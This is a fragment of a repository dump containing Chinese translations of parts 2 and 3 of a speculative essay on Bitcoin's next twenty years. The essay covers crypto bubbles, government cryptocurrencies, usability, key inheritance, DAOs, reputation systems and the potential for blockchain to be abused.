3](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md)\n\n# 二十年后比特币会变成什么样？ — 第二部分\n\n![](https://cdn-images-1.medium.com/max/2000/1*9cntgSCQQES9fogbSwWIoQ.jpeg)\n\n**二十年后比特币会变成什么样？ — 第一部分请见：** https://juejin.im/post/5a1e9c2d6fb9a044fa19a036\n\n### 比特币，加密技术和去中心化技术的兴起\n\n我们将从一些简单的预测开始,并逐渐的进行一些更加复杂的和遥不可及的预测以及一些对这些预测严肃的讨论。\n\n我也将包括一个信心表，让你们知道，对于这种预测场景能发生我有多么强烈的感觉。\n\n### 1)泡沫破裂\n\n经常关注加密技术的一群人把它看做泡沫，迟早会破裂，造成价格崩溃。\n\n**他们是对的**\n\n**但是那又怎样？**\n\n**这不是故事的结束，恰恰相反，这是故事的开始。**\n\n![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg)\n\n现在，我们正沉浸在比特币收益带来巨大的快感中。这里有很多潜在的风险。我们几乎可以预测分布式技术的未来。近在咫尺！每一天都有可能发生。\n\n当然，毫无疑问，泡沫的破裂并不能解决问题。 **泡沫将会破裂** [**Vitalik 是对的。90%的代币将失败**](https://coinjournal.net/vitalik-buterin-90-icos-will-fail/)**。\n\n但是，泡沫破裂以后区块链技术才能真正有用。\n\n![](https://cdn-images-1.medium.com/max/600/1*GDW2WTPat06YRs5uNxxiEQ.jpeg)\n\n**在秘密实验的8年里，每个人都在通向未来的铁轨上工作(每个人都在研究未来的道路)，但是我们没有太多东西可以拿出来展示，除了投机交易和一些智能合约。**用这种技术做成应用程序是十分可怕的，并且几乎无法使用。 你需要很大勇气去通过网络“发送”$5000给某个人。最好祈祷你的复制，粘贴的地址是正确的，这才能保证你的钱才不会消失！\n\n彼时互联网泡沫破灭的时候，很多今天的巨头公司经历了股价蒸发85%。它们幸存下来了,并且等到了最好的时候。Amazon 和 Google 支配了全世界。\n\n**加密技术也会是同样的情况**\n\n**有10%的项目通过市场的洗礼，将会变成明天的亚马逊，谷歌和 Facebook，甚至可能是摩根大通和高盛，更不用说甚至是未来的政府，譬如数字民主，或者液态民主。**\n\n创新是一项艰难的工作。你正在试图创造一个理论存在，而真实不存在的东西！\n\n这里没有指南，没有模板，没有业务逻辑可以克隆。什么也没有。你只有你自己！这里仅仅有你和你的想象。有这么奇怪的特性，难怪有90％的人和公司会失败了！\n\n不过这不是问题。\n\n[**加密，区块链和三式记账法可能是过去500年来最重要的发明**](https://hackernoon.com/why-everyone-missed-the-most-important-invention-in-the-last-500-years-c90b0151c169)**所以它们不会温柔地进入那个美好的夜晚。（这里形容过程曲折）**\n\n泡沫破裂是下一步。三年后，这个技术才会真正的成熟然后高速发展。\n\n### 2)政府的加密货币将繁荣\n\n社区不喜欢这一点，但这是不容置疑的。\n\n![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg)\n\n**很多政府将不会坐视不管，如果不进行恶意斗争就会丧失对供应货币的控制能力。任何正在从事这方面工作的人应该预测对区块加密技术协议级的攻击，并针对这些攻击进行设计防御措施。**\n\n分布式，去中心化的 DDoS 防御手段,像 [**Gladius**](http://gladius.io) 是很好的起步，但是这里仍然有很多事情要做。我们将讨论一些额外的防御手段，就是当协议变革的时候，我们的加密技术能够幸存下来。\n\n从长远来看，政府将会输掉这场战争，可能会在 30 到 100 年之间(也许更快，取决于战争或金融危机的爆发次数)。这让我们将在这场比赛中幸存下来，不要用核弹炸自己，把它送到太空去。但是，在未来的 10 年或 20 年里，预计会出现一个非常强大的政府加密货币，并支配着世界上许多人(如果不是大多数的话)的资金流动。\n\n\"但是没人会接受它们！\"加密技术忠实的呐喊!\n\n当然，它们将被人们采用。\n\n普通人并不理解加密货币真正重要的事情，并且他们也完全不需要隐私和安全，直到在很极端的情况下，像战争，剥夺了他们的身体。当士兵入侵了你的房子,并拿走了你的一切，那瞬间隐私的需求就变得非常真实。\n\n记得斯诺登在 John Oliver 的脱口秀中对政府监控的采访吗？\n\n看看斯诺登的表情，他意识到街上的普通人一点也不关心他们自己的隐私！他们只关心自己的私处(dick)照片是否被存到政府的硬盘里。\n\n人们会像善良的小绵羊一样，毫不犹豫地采用政府的加密货币。甚至，他们认为这绝对是一件十分正确的事情，如果被告知是绝对正确的话，他们甚至愿意为此而杀人！\n\n当然，在很多方面政府会说加密货币是可笑的，正如 Naval Ravikant 在史诗般的区块链 tweetstorm 中指出:\n\n![XEX0H$32R3VWLS%2DVUWU.png](https://i.loli.net/2017/11/07/5a0161a24d8f7.png)\n\n**根本是无稽之谈，因为区块链的目的是通过系统分配权力。**通过不允许单个组织任意地控制或更改规则,**去中心化加密技术和应用程序提供了一套强大的检查和平衡机制，以防止对系统的有害操作。**\n\n当五个不同的银行拥有区块链时，这不是区块链，而是一个数据库。 只有当银行，监管机构，股东和客户同时拥有区块链的钥匙，才能抵消彼此的力量，才是真正的区块链。\n\n**对权利的检查和平衡才是真正的要点!**\n\n政府加密货币的想法简直是腐败透顶。\n\n但是这不重要。他们会做到这一点而不折手段。\n\n事实上，他们不是分散权力，看起来而是在进一步集权，让自己有能力不费吹灰之力跟踪每一个公民的支出，并自动从工资和销售货物和服务中征税。这就是为什么独裁政府正在竞相建立官方的加密货币。他们迫不及待要尽快在你的口袋里放置全景图(获取所有你支付细节和过程，微信？支付宝？可怕)。**\n\n他们将绝对会取缔实物现金，他们会以三个借口之一的幌子来做:\n\n*   防止洗钱\n*   防止恐怖袭击\n*   防止犯罪\n\n当然，知道你在亚马逊上花了一半的工资，杂货和房租与这些东西没有任何关系，但是嘿，如果你抛出了上述任何一个或所有的原因，你可以很容易地让其他人做你想要所做的一切，甚至更好的情况是，他们会全心全意相信。\n\n![](https://cdn-images-1.medium.com/max/600/1*etJecOqa4iPT5GpdrDtEng.jpeg)\n\n记住美国心理学家[古斯塔夫•吉尔伯特（Gustave Gilbert）在纽伦堡审判期间与纳粹赫尔曼•戈林（Neri Hermann Goering）的谈话?](https://en.wikiquote.org/wiki/Hermann_G%C3%B6ring)?戈林告诉他，大多数人会毫不犹豫地跟相信他们的领导人所说的，无论是民主还是法西斯独裁。\n\nGilber 天真地回答说：\"有一个区别。在一个民主国家，人民通过他们的民选代表就可以发言，而在美国，只有国会可以宣战。\"\n\n但是，戈林只是笑了起来，说：\"哦，这是很好的，但是，选举或者没有选举，**人们总是可以被领导说服。这很容易。你所要做的就是告诉他们，他们将要遭到袭击，并谴责和平主义者缺乏爱国主义，使国家面临危险。 它在任何国家都很有效。**”\n\n政府的加密货币，对于对加密技术执着的人来说，将是一个非常痛苦的药丸，但是，这些执着的人会很好的尝试习惯它们。\n\n一个更好的选择是假设会有去中心化和中心化加密的混合系统，并且为了避免在金融海啸中被吞没而设计它。最好是用区块链技术接受现有的系统，然后将它从内部覆盖，而不是忽略它，这样就会变得很难对付。\n\n### 3)去中心化加密货币将变成地球上的一个平行的经济操作系统\n\n仅仅因为中心化密码技术体现了突出优势，并不意味着去中心化密码技术将会消失。哦，很多国家的政府都会去尝试，但最后他们还是不能把它们剔除出去。原因很简单。\n\n![](https://cdn-images-1.medium.com/max/600/1*SauOTxerkM449xCtL2aBtQ.jpeg)\n\n**共同的因素是关于区块链技术这很难达到共识，这使全世界的政府很难在任何事情上同意。**他们将无法做到这一点。有些政府会热爱去中心化式技术，其他政府会讨厌去中心化技术。\n\n甚至有一些政府明令禁止这项技术，很多其他国家将**拥抱分布式加密货币，特别是上个世纪以来遭受欧元和美元控制的国家们。**\n\n到目前为止，我看到一些拉丁美洲国家，以及像新加坡那样自由放任的全球化主义者，以及历史悠久拥有很多银行家的瑞士以及许多亚洲和非洲国家张开双臂欢迎去中心化加密技术。\n\n如果所有的国家都不同意，那么去中心化加密技术将走不长远，那么中心化的加密技术就会大行其道。\n\n但为了保持相关性，去中心化密码技术需要快速转移。它们需要一个杀手级应用程序。现在它们很容易受到攻击。为了真正扎根到日常生活中，它们需要杀手级的应用程序，使它们在全球范围内进行病毒式的传播。它必须是不可或缺的东西，人们不能想象没有它的生活。这将使现有的强大参与者进入系统，然后他们将使用该力量来抵御来自外部力量的攻击。\n\n我的文章中概述了可能会发生的一些分配货币的方法。但这只是其中一种方式。还有很多很多,如果你现在在一个平台上工作，那么要知道，在中心化密码生根之前，这是一场与时间赛跑的比赛。\n\n### 4)加密技术的杀手锏应用程序不是一个浏览器\n\n![](https://cdn-images-1.medium.com/max/600/1*SauOTxerkM449xCtL2aBtQ.jpeg)\n\n这是一个老的发明创造移植到新系统中的典型例子。[** Brave 浏览器**](https://brave.com/)是很棒，并且我打赌，我将十分喜欢用它作为 [**BAT**](https://basicattentiontoken.org/) （注:Basic Attention Token）的搭配产品或者一个**通用的支付系统，这个系统**[**自动交换加密货币**](https://themerkle.com/what-is-an-atomic-swap/)不需要任何的手动交换，但是我并不认为这是接入区块链的最终接口。我认为它只是一个潜在的过渡工具。\n\n因此，杀手级的应用程序会张什么样子的?\n\n我不知道。\n\n但是我知道这些：\n\n*   **普世性**\n*   **方便使用**\n*   作为一个平台，包含从换币拿到票据到保护隐私和信息的一切行为。\n*   **开源**\n\n它应该也是完全新的，原创的，具有很好的扩张性这也是区块链的最佳特征，同时能够最大程度上减少它的弱点。\n\n也许分布式AI助手或关注点过滤器？无穷的可能性，所以行动起来吧！\n\n### 5)区块链技术仅仅是去中心化技术的开始\n\n区块链系统仅仅是去中心化共识机制第一个应用成功的技术。\n\n![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg)\n\n人们正准备发明新的应用像 [**IOTA’s Tangle**](https://iota.org/) 和 [**HashGraph**](http://hashgraph.com/) 这样。\n\n如果这些技术在长时间使用过程中都被证明失败，这不是问题，因为其他的一些项目会用另一种方式重新创建。这实际上是有保证的。\n\n在下一个二十年里，我预测了很多，进行成百上千的实验使得分布式协议到达共识，有能力承担交易级别的压力，Visa 级别的处理能力，在辅助以人工智能将会更加完美。\n\n也有很大可能人们没有做出这些系统。\n\n相反，人工智能会迅速迭代思想，并提出一个系统。如果提出这个系统需要一百年的时间，人们是不可能做到的。他们将从昆虫或根系或其他生物系统（如蛋白质）的自然界和系统中吸取灵感。\n\n一个或两个这种系统将控制所有的货币，并且变成元系统支配所有的货币。联合不同种类的货币并像整个体系一样运行整个系统，使无数子网络在它内部蓬勃发展。\n\n### 6)加密货币将变得更加易用\n\n现在加密货币的体验非常的差劲。\n\n如果我输错一些东西或者复制粘贴出错，我的钱就会永远消失。如果软件出现故障我也会永远的失去我的钱。如果某人攻击了我的电脑或者我的手机我的钱就被永远的偷走了。\n\n想看这里的趋势？看看你们吐槽的错误。这就像在只有单行道的山路上的摩托车一样没有别的路可以走，只能优化用户体验。\n\n![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg)\n\n核心钱包十分的慢，难用和丑陋。当我最后一次升级以太坊，我忘记保存我的私钥，因此我不得不重新弄所有的一切。今年早些时候，我有一个旧的比特币卡在了 2013 年的 Multibit 版本中。。在软件错误地认为我发送了一个从未实际发出的交易后，花了我一个星期的时间才将其释放。\n\n想象这些钱包在冰冷的存储空间里面，并在五年后出现。他们仍然可用么？量子计算机出来后会发生什么，我们需要完全更新系统的基本协议？\n\n普通人将永远无法做到这些程序。没有任何机会。IT 部门长达 20 年的时间告诉我，人们可以并且将会以技术人员完全无法想象的方式搞砸他们的机器。墨菲法则。\n\n更糟糕的是，没有办法扭转任何交易或防止错误发生。我估计会有许多算法出现，这些算法会冻结，回滚和保护交易，以及自我托管和追回赃物的方式。把这些算法想象成银行电话服务的自动化版本，并宣称一张卡片被盗。\n\n![](https://cdn-images-1.medium.com/max/600/1*ZJuCf81drd-6hQiHGB0-Ug.jpeg)\n\n如果你的祖母不会做这些，原谅她吧。并非每个人都是能够在 Linux 终端上甩手的 IT 人士。\n\n**只有系统提供了旧的功能的同时，加上新的功能，才能大规模推广。**\n\n想一下上个世纪 80 年代 CD-ROM 书籍。它们有一些列的新功能，像表格和颜色，你可以随身携带它们。\n\n但是，这还不够好，因为 CD 有致命的缺点。 **Ray Kurzweil** 在他的“ [false pretender](https://www.technologyreview.com/s/402705/kurzweils-rules-of-invention/) ”书中称这是进化发展[**冒牌伪装者**](http://amzn.to/2ihZKeQ)阶段。新技术有一定的优势，但也有太多的缺点，无法在更广阔的世界真正做到取代旧技术。\n\n![](https://cdn-images-1.medium.com/max/600/1*7n8RXqspp7bLnZq_6_CT7g.jpeg)\n\n直到 Kindle 和 iPad 出现，电子书阅读器才具备了阅读书籍的所有旧功能，如便携性和易于阅读的功能，以及一次性携带一千本书籍的新功能，没有任何一个老技术可以与它竞争，所以发展的很快。\n\n加密货币遵循类似的途径，从致命的缺陷中走出来，到为个人和企业带来无与伦比的新的权利，从而实现主导世界的目标。\n\n我还看到了很多我们真正需要的系统出现，这些系统都是将数字资金传递给后代的愿望引发的。为此，我们根据需要组建特定银行或算法银行和防多签名钱包，并且采用去中心化云或云服务作为最后的仲裁者。\n\n简单地把你的秘钥分开，交给可信赖的朋友或亲人是不够的。这是第一手解决方案。你的朋友可能会不再是你的朋友，人都会离开或死亡或者其他糟糕的事情发生。我们需要更好的东西，完全自动化。\n\n**想想现在把你的比特币传给你的亲人有多难。**如果你明天去世或被击中头部并忘记密码怎么办？\n\n即使你打算这样做，也有点不好。\n\n![](https://cdn-images-1.medium.com/max/600/1*WEH21y_aUF2W-dYtScGRjA.png)\n\n你必须创建一个遗嘱，将你的私钥和钱包的备份锁在保险箱里，把密码交给一个房地产律师，并希望他不会偷走它，或者用 U 盘拷走它或 [**Trezor/Nano**](http://amzn.to/2iPesOp) 不会坏。你和一些朋友，家庭成员，[一些不会在 GitHub 查找不同版本来找后门和 Bug 并且破坏它的人](https://blog.ethcore.io/the-multi-sig-hack-a-postmortem/)可以创建一个多签名钱包。.这一切都是丑陋的，不成熟的。这是不可接受的。\n\n**顺便说一句，如果你想启动一个人人将来需要的加密业务，请先解决继承问题。**每个人都因为你的付出而高兴。\n\n我可以预见智能合约的发展和人工智能所产生的意愿将会以自我管理的形式进行。本质上，区块链自己就是银行和客户服务部分，也许用你的生物特征和第三方验证机构的证明或一个去中心化的 AI 可以证明你的亲人，当你日子不多的时候，自动触发。自动密码和秘钥恢复将停止。\n\n**不管它看起来如何，我们都需要对我们现在控制的算法进行近似处理，以便把钱交给我们想要的人，并使之免于那些想要抢劫我们的人。** 我们也需要这个系统来保护我们免受事故，死亡和其他伤害。\n\n### 7)货币的协议将完全抽象自货币本身\n\n现在所有的货币与它们的协议都存在千丝万缕的联系。\n\n**我预测我们抽象掉交换，传输和接受甚至安全协议，防御和存储我们的货币。**\n\n这将反映当今服务器从裸机到虚拟化到容器技术到无服务器的发展。\n\n![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg)\n\n首先，大多数虚拟货币不能大规模交易。我们甚至无法接近进行 Visa 级别的交易处理，这是任何加密系统的圣杯，也是很多争斗和争议的主题。[比特币可以在峰值时每秒处理 7 笔交易](https://en.bitcoin.it/wiki/Scalability)。\n\n有些人甚至认为这是虚拟货币的优点，因为它鼓励人们保存并存储它，而不是发送它。\n\n这太荒唐了。\n\n我们应该尽可能快的移动货币。\n\n让我们面对这个问题，1 MB限制只是一种黑客行为，**比特币本身是没有限制的。**然后，中本聪在一夜之间偷偷把它放在一边，没有提到它，在源代码中没有解释。这很可能只是防范 DDoS 攻击的一种手段。\n\n**我们能并且将要实现更好的洪攻击防御措施。**\n\n你是 1 MB的信徒？SegWit2X 的 2 MB怎么样？也许你想要比特币的 8 MB 块？\n\n所有的这些人都是错误和可笑的。\n\n![](https://cdn-images-1.medium.com/max/600/1*-zUw0FetF3A2VSHuLCfrMw.png)\n\n根据 [**Lightning Network**](https://lightning.network/) 公司的人说,如果我们有 70 亿人每天只进行两次交易，它将会消耗：\n\n*   **24 GB块**\n*   **3.5 TB/天**\n*   **1.27 PB/年**\n\n我们需要不同的思维方式，并且不断的改进繁琐的部分，来设计真正的解决方法。来让比特币和加密技术能够生存下去。当量子计算机出现的时候，新的防御措施，新的密码算法将会变得十分简单并且得到更好的速度提升和创新力提升。\n\n我们不能仅仅停留在中本聪的桂冠上，并假设他想到了一切。\n\n他没有。\n\n坦率地说，天知道他中本聪在想什么？他已经离开了这个项目。如果他真的想引导这个项目，他就应该像 Linus 一样一直在做 Linux。但他没有。他把它留给了我们其余的人，全力以赴。\n\n因此，我们真的应该开始做这些了，因为当前的系统将不会受限制于昂贵的处理器仅仅用我们现在依旧有的系统就可以了。\n\n一种方法是抽象所有的协议，并运行所有旧的硬币，相当于虚拟机或容器。然后规则与硬币本身是分开的。\n\n这只是一种方式，但要真正成为有希望的突破性技术，区块链仍然需要真正的创新。\n\n无论哪种方式，人们需要快速思考，否则我们仍然在辩论 1 MB与 2 MB，而 CryptoRuble（俄罗斯官方加密货币） 和 CryptoYuan（加密元？不存在的） 则超越了我们。\n\n我们也需要这样做，因为它将抵御敌对行动者和 [APTs(高级持续性威胁)](https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html)  协议级别的攻击。想想中国的防火墙或[中间人攻击中](https://blog.thousandeyes.com/deconstructing-great-firewall-china/)用数据包和头部攻击来攻击或阻止交易。[**NEM** 体系结构](https://nem.io/technology/)是一个良好的开端，因为它包括类似防火墙的节点保护。\n\n但是，需要更进一步阻止更加阴险和破坏性的攻击，并且不能用四年的时间和一个硬的分叉来实施解决方案。\n\n![](https://cdn-images-1.medium.com/max/600/1*bJYTzJyty17c8gla-poFTA.jpeg)\n\n最好的解决方案可能是**下载网络中所有节点的外部化安全规则链，这些节点充当入侵检测，防火墙和协议检查器,和基于人工智能的自动演进规则集和决策。**\n\n感谢 [**Neuromancer’s**](http://amzn.to/2hp02Ry)[**ICE**](http://williamgibson.wikia.com/wiki/Intrusion_Countermeasures_Electronics)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/what-will-bitcoin-look-like-in-twenty-years-3.md",
    "content": "> * 原文地址：[What Will Bitcoin Look Like in Twenty Years? - Part 3](https://hackernoon.com/what-will-bitcoin-look-like-in-twenty-years-7e75481a798c)\n> * 原文作者：[Daniel Jeffries](https://hackernoon.com/@dan.jeffries?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md)\n> * 译者：[sakila1012](https://github.com/sakila1012)\n> * 校对者：[foxxnuaa](https://github.com/foxxnuaa)，[Raoul1996](https://github.com/Raoul1996)\n\n- [What Will Bitcoin Look Like in Twenty Years? - Part 1](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-1.md)\n- [What Will Bitcoin Look Like in Twenty Years? - Part 2](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-2.md)\n- [What Will Bitcoin Look Like in Twenty Years? - Part 3](https://github.com/xitu/gold-miner/blob/master/TODO/what-will-bitcoin-look-like-in-twenty-years-3.md)\n\n# 20 年后比特币将会变成什么样-第 3 部分\n\n![](https://cdn-images-1.medium.com/max/2000/1*9cntgSCQQES9fogbSwWIoQ.jpeg)\n\n### **8) 我们将拥有四个统治元币，五十到一百个小硬币，以及这些币的无限虚拟变体，以及法币**\n\n现在我们将用币创建一切。\n\n需要一个像公民一样的身份平台？生成一个币\n\n创建去中心化的域名系统（DNS）？生成一个币和首次币发行（ICO）！\n\n在区块链应用程序上构建一个你自己的涂鸦?你需要一枚币，我的朋友!\n\n![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg)\n\n实际上，你不需要一个币。\n\n币将开始进入不同的元类别。 在这一点上，我只能看到需要四种类型的硬币，区块链（或区块链技术）可以根据需要无缝地交换它们以消耗服务：\n\n1.  **通货紧缩保存货币**\n2.  **通货膨胀花出硬币**\n3.  **行为令牌**\n4.  **奖励代币**\n\n通货紧缩的币用于囤积和投资。随着时间的推移，它们将会升值并为储户带来收益。每个人都需要这种投资，这也是比特币首先起步的原因。\n\n今天通货膨胀的币反映了美元。没有人喜欢在平板电视上花费比特币，仅仅意识到他们几年后支付了 175,000 美元，因为比特币的价格上涨。我们需要稳定的，可用的货币。想象一下，作为经典的“价值储藏”，保罗克鲁格曼总是唠唠叨叨，知道我们实际上确实需要这样来购买和出售每一天的商品。\n\n行为令牌适用于网络上应始终免费使用的操作，如投票或发送短信。 这些不是微交易。 重置我的密码不应该花费相当于两个便士。正如 [**EOS**](https://eos.io/) 人们所说：“如果你去亚马逊，花费三美分来加载页面，没有人会加载页面。”\n\n奖励令牌旨在作为因果的数字化表示在系统周围流动，激励良好行为并惩罚不良行为。\n\n只用这四个硬币，你就可以从字面上建立终极的通用系统。 每一枚硬币都可以简单地作为具有不同元数据的币的子组件。\n\n### 9) 我们会发现我们对经济学一无所知\n\n你是[凯恩斯计划](http://www.investopedia.com/terms/k/keynesianeconomics.asp)还是[奥地利自由市场](http://lexicon.ft.com/Term?term=Austrian-economics)支持者\n\n谁又在乎答案呢？\n\n![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg)\n\n**我们所有的经济学理论都是基于墨水和木浆模拟时代的有限数据进行的研究**。当前所有的经济理论将被证明与洞穴绘画一样先进，因为我们将在未来几年试验新的经济体系。。\n\n**这就是这些新币：战争时的微观经济体系**。\n\n**这是达尔文的经济学**。\n\n一些基本的经济规律将会成立，但其中许多只会半途而废。这是因为在区块链支配系统中，我们将会获得全球范围内的实时经济数据，而不像一百年前那样，仅仅只能用铅笔和纸张进行的一系列猜测。\n\n随着人工智能在全球范围内实时跟踪统计数据，我们将能够看到一个国家颁布的坚定关税的实际影响，因为在另一个依赖于该坚定关税的国家/地区建设的价格上涨。 我们将以令人难以置信的精确度跟踪全球生产和制造业，我们学到的东西将以这么多美妙的方式给我们带来惊喜。\n\n### 10) 一个 DAO 会变成世界 500 强\n\n达成这一里程碑的最有可能的 DAO 将是一个反映开放版 Visa 的 DAO，因为它可能会削减交易和矿工在最占主导地位的网络，并将有助于资助该网络的未来发展和管理。\n\n![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg)\n\n它不会囤积所有资金，而是充当一种联系，通过智能合约将资金流向其他业务和 DAO，以及国家和地方政府，和其他有利于网络的非政府实体。\n\n要做到这一点，DAO 必须发展。\n\n现在我们认为 DAO 是一个智能合约，还差的很远。\n\n![](https://cdn-images-1.medium.com/max/600/1*sTyt0uLOyGvDk8gDe6LzCQ.jpeg)\n\n“多么美好的人类！哦**勇敢的新世界**，有这样的人在！”\n\nDAO 需要人工智能来帮助管理和减轻其规则集，它需要能够自动生成模板**管理模型**。**在 DAO，管理是一切**，而且目前还没有一个好的可扩展模型来管理一家大规模的公司，因为它是开源精英的工作场所。早期 DAO 失败是因为他们拥有我所谓的[**勇敢新世界**](http://amzn.to/2gng6fk)问题。\n\n每个人都认为他们很重要，没有人愿意放下姿态。\n\n当每个人都是 DAO 中的国王时，很难否认。\n\n**要有效发挥作用，团队需要角色扮演者和明星**。人们也必须理解他们的角色并接受它，即使他们在系统中建立价值和经验后会发生变化。\n\n管理很难像企业环境一样。 你如何在 DAO 中解雇一个不履行职责人？你如何确保负责 ICO 安全的人实际上是合格的，而不是因为每个人都喜欢他而当选？你不能冒着流失 4,500 万美元的风险而让鲍勃当选，只是因为他那关于 Burning Man 的伟大故事和他的绘画技巧。\n\n未来的自动化企业和非营利机构将不得不为**持续管理和决策制定令人难以置信的工具，以及像代码一样运作的操作协议并成为现实**。\n\n### **11) 零工经济将大幅度增长**\n\n二战时期的人们一生只有一两份工作。\n\n今天我们有 5 个或者 6 个。\n\n![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg)\n\n**未来的人们同时会有五六份工作。**\n\n这些收入流中有一半是自动化和被动的，可能是某种加密 UBI。 我们也将看到 AI 就业匹配服务的兴起。 这些机器会知道你的能力和技能，并与短期表现相匹配，所以你甚至不需要找工作。\n\n设想一个软件项目，需要大量的代码，比如 10 万亿行代码。 软件项目只会变得越来越复杂，并且会持续增长。AI 会写和测试它的一半，但人们会写另一半。该项目将被送入一个分布式的、非中心化的系统中，该系统可以将工作分成多个部分，并对其进行分析，就像一个项目经理，并根据声誉和技能的指纹，将工作交付给全世界范围内的程序员。\n\n你可以把它想象成一个嫁给 UpWork 和 Mechanical Turk 系统的 AI Github。\n\n它可以用于制造业和各种蓝领工作，这可以大大缩小我们今天看到的贫富差距。\n\n[香港地铁人工智能](https://gizmodo.com/the-worlds-best-subway-system-is-powered-by-an- advanced-1601103048)也许是这种网络的第一个原型，即使它不是一个完美的类比。它预测地铁上会发生什么故障，并派遣工程师提前解决故障。这使全球最繁忙的地铁的正常运行时间达到 99%。\n\n其中大部分将由外部化[**声誉银行**](https://github.com/the-laughing-monkey/cicada-platform/blob/master/Identity-Without-Authority-2017.21.3.BETA.pdf)管理，由区块链驱动，将成为未来的社会信用。\n\n这将是好的，也是非常，非常邪恶的。\n\n![](https://cdn-images-1.medium.com/max/600/1*dsM6oBVp5RrQIcS_c5lN6g.jpeg)\n\n[黑暗反映社会信用](http://amzn.to/2iNaIgc)。\n\n在房地产的邪恶一面，我们有[**中国社会信用体系**](http://www.businessinsider.com/china-social-credit-score-like-black-mirror-2016-10)就像今天的 **Black Mirror** 一样。当民族国家利用声誉银行将意识形态灌输到人们的喉咙里时，情况将变得极其糟糕。\n\n但公开管理的代表银行将帮助我们找到关系并开展工作，并找出在商业和生活中信任谁。\n\n它将是双刃剑。\n\n主要的挑战是很少有人能够就系统中的好或坏达成一致，意识形态倾向于将这些概念变为无法识别的混乱。如果我们不小心的话，创建一个可以奴役我们所有人的规则集非常容易。\n\n### 矛盾的国王\n\n我只是想通过一些更容易做出的预测。 现在让我们抛出一些可能引发社区激烈辩论和争议的东西。\n\n### 12) 区块链将产生各种各样的弊病\n\n**加密爱好者将不得不接受这样的事实，即区块链能够并将尽可能多地利用邪恶。**\n\n![](https://cdn-images-1.medium.com/max/600/1*kwdBoz8WFuqp5Q61nQk5_g.jpeg)\n\n没有什么是好的或坏的。一切都存在于一个连续体中。你可以用枪杀人，但你也可以通过狩猎养活你的家人。水可以维持生命，但它也会淹死你甚至[毒死你](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1770067/)。\n\n如果你现在正在设计一个系统，并且采取“快速行动，打破东西”的 DevOps 方法，只要知道这对于可以在算法上控制我们生活中许多方面的系统而言是一场灾难。\n\n**相反，你应该缓慢采取行动，思考并且不要破坏事物的方法。**\n\n你应该开始考虑所有的方式来破坏你的系统，否则你将无法为它辩护。 如果你没有想象一个敌对团体将会使用区块链的力量，这个团队不会分享你对开放和自由以及合作的看法，那么你只是天真的。\n\n![](https://cdn-images-1.medium.com/max/600/1*25H9XAhWfT7-wmrvQmC-Ug.gif)\n\n我中途写了一篇名为 “ **如果希特勒拥有区块链** ？” 的文章。坦率地说，我不想发布它，因为我不想给坏人们任何新鲜的想法，但放心吧，可能无所谓。他们的黑暗头脑已经很难想象如何使用区块链作为压制和控制系统。\n\n为了不把所有这些想法都放到集体无意识中，而是想想你的生活的各个方面，从你去哪儿做什么，到统计预测你的行为，以及旨在激励你遵守意识形态的行为算法，最后认为不可破解的数字版权管理和彻底的种族灭绝。\n\n种族灭绝？\n\nYeah.\n\n**不要忘记** [** IBM 帮助纳粹管理大屠杀，用打孔卡追踪受害者**](https://en.wikipedia.org/wiki/IBM_and_the_Holocaust)**.**\n\n他们可以通过区块链做些什么？ 答：我们现在只能想到更多可怕的暴行。\n\n也许你认为一个开放的系统将永远防止滥用？\n\n错。\n\n如果互联网告诉了我们任何事情，那就是开放系统倾向于集中化，并且给予中央权力足够的时间可以[并且将颠覆和腐败任何系统](http://www.businessinsider.com/wannacry-nsa-cyber-weapon-leakers-shadow-brokers-promise-monthly-data-dumps-2017-5)）以达到自己的目的。\n\n如果你在加密工作，并且你没有考虑所有滥用加密的方法，那么很可能不是设计一个拯救世界的系统，而是为它创建了一个监狱。\n\n### 13) 比特币有一半的存活率\n\n大多数真正的信徒不会喜欢这个，但老实说，50/50 存活率真的很高。\n\n![](https://cdn-images-1.medium.com/max/600/1*s70767X_wJBDhrgFEqf8ug.jpeg)\n\n我知道，我知道。你以前听说过这一切！钱纠结不能停止！新的 ATH ！！！！购买和 HODLz 